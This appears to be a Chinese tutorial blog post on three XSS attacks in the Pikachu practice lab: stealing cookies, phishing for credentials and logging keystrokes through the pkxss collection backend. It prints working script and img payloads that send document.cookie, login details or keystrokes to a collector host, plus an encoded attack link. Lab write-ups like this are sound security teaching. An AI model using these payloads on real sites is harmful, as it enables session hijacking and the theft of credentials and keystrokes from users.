• pikachu-XSS(三个案例)


    xss案例

    1. cookie的窃取和利用
    2. 钓鱼攻击
    3. Xss获取键盘记录

    搭建pkxss后台

    你可以采用两个主机的方法,设置不同的IP来进行实验,也可以只用Pikachu来实验,我这里是后者,事实上只是改了一个IP而已,原理是相同的。

    把在pikachu-master里的pkxss剪切出来,放在跟Pikachu同一目录下,即为WWW目录下:

     

    打开pkxss文件中的config.inc.php文件 

     我们看到数据库服务器的地址是localhost(其实就是127.0.0.1)

    我们还需要改ip,点击phpStudy,其他选项菜单,点“打开host”:

    把选中的地方修改一个你想要的ip,我这里是192.128.10.246,然后保存

     我们主机的ip也要改成一样的,在网络设置里修改

    使用192.168.10.246访问

    设置完再点击网页里的红字初始化安装,出现成功字样

     然后点“点击这里”进入首页,输入admin/123456登录:

     接下来重定向,其实就是把里面一开始的ip设置成新设置的,使得跳转的页面固定(文件路径如下)

     修改的时候请注意网址和文件名(文件名称要根据自己的实际情况设定)这里其实就是跳转到pikachu的首页

    一、Cookie的窃取和利用

    get型:

    我们打开反射型XSS(get)),在文本框中进行一些操作,但是根据已经做过的经验,我们知道文本框里只让输入20字节,所以我们先修改一下,把字节数增加,Fn+F12调出Web控制台

     接下来刚才搭建的打开XSS后台,点击cookie收集

     

     在pikachu平台中输入下列js语句

    <script>document.location='http://192.168.10.246/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

     提交之后,跳转到这回个页面

     再看XSS后台,里面有了一个记录,id=3,这里因为我前面登录过几次,每一次返回页面或者跳转的操作XSS后台都会捕捉cookie,可以忽略,这里我只放出这一个,我们也得到了cookie

     cookie的值为  PHPSESSID=1d7ab818f2a90b6fe7ab90e9c38588d4

    其中referer,用户一旦访问这个链接,它只会跳转到首页面,但是我们这样就已经获取到cookie值

    http://192.168.10.246/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.10.246%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit

    post型

    首先登陆 admin/123456

     我们输入<script>alert('xss')</script>,出现漏洞,结果发现地址栏没有变化,不在URL显示

    查看pkxss-xcookie-post.html文件

     

     

    我们需要自己搭一个恶意站点,然后在网站上放一个post表单将存放POST表单的链接发送给受害者,诱导受害者点击这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的

      首先,在恶意站点中修改服务器地址:上面是存在XSS漏洞的地址,下面是提交cookie的后台地址。

      恶意页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面

      如果用户访问欺骗的跳转页面,就会在pxss获取到cookie值

    二、钓鱼攻击

    进入文件夹修改ip(具体路径如下图)

     这里有xfish和fish两个文件,我们进入fish.php如下图选中所示,修改ip

    我们接下来看看xfish的内容,分析代码,发现给出认证框,用户输入用户名、密码,重定向到后台,同样的后台也有同样的接口,get方式获取到用户名跟密码然后存储

    攻击者给用户可以正常的看上去没有欺骗的可信的页面,而这个页面被攻击者嵌入了一些恶意的代码,进行盗取用户的一些信息。当用户点开这个页面之后,看到是正常的页面,实际上登录信息等都被攻击者在后台页面获取到。

    我们在pikachu的反射型xss(post)输入框中输入下面两句代码都可以引发XSS漏洞

    <img  src=" http://192.168.10.246/pkxss/xfish/fish.php"/>

     <script  src=" http://192.168.10.246/pkxss/xfish/fish.php">  </script>

     输入用户名密码 admin/123456(这个图中密码是我不小心输入错误)

     三、XSS获取键盘记录

    跨域:

      在开始之前我们需要先了解一下跨域,顾名思义,跨域就是跨越领域,这种操作当然是不被允许的。

      官方点学术点的说法,就是页面必须同源,指的是浏览器不能执行其他网站的脚本。它是由浏览器的同源策略造成的,是浏览器施加的安全限制。

    所谓同源是指,域名,协议,端口均相同,所以这三样有一种不同都可以被称为跨域

    关于同源的解释,以及一些允许跨域的方法,原文可以参考这个链接:

      https://blog.csdn.net/lambert310/article/details/51683775

    所以我们需要观察代码中是否有跨域限制,打开rkserver.php(路径如下图所示)

     发现已经允许跨域访问

    接下来我们可以利用标签来进行操作,获取键盘记录了,下面这些标签都允许跨域操作,在Pikachu:暴力破解板块我们已经见过它们了:

      <script src=”…”>//js,加载到本地执行

      <img src=”…”>//图片

      <link href=”…”>//css

      <iframe src=“…”>//任意资源

     再分析一下这个文件夹下其他文件的代码,打开唯一的js文件,我们来看看,把js 文件放到被攻击者的页面当中,通过获取键盘值,post发送给攻击者后台的ip

    最后一个文件夹就是记录键盘结果

    在存在存储型XSS的网站插入代码,这里用了script标签,其他标签当然也可以,这里只是搞个示例:

       <script src= "http://192.168.10.246/pkxss/rkeypress/rk.js"></script> 

      在键盘上随便输入发现会跳出来    页面请求失败,在pkxss后台我们就可以看到获取的信息。

  • 相关阅读:
    解决GET http://localhost:8080/js/layui/layui.js net::ERR_ABORTED 404
    按钮向右浮动
    @RequestParam、@PathVariable、 @RequestBody用法
    【报错】No converter found for return value of type: class java.util.HashMap
    Kendo UI for jQuery数据管理使用教程:PivotGrid
    界面控件DevExpress WPF——支持UI自动化和Appium测试
    Visual Studio插件CodeRush v20.2.9发布——新的单元测试体验
    DevExpress WinForms帮助文档:如何初始表单位置
    C# 8 & C# 9功能如何进行单元测试?这里有答案
    最新版Devexpress WinForm.NET开发环境配置信息
  • 原文地址:https://www.cnblogs.com/heiwa-0924/p/12518919.html
Copyright © 2020-2023  润新知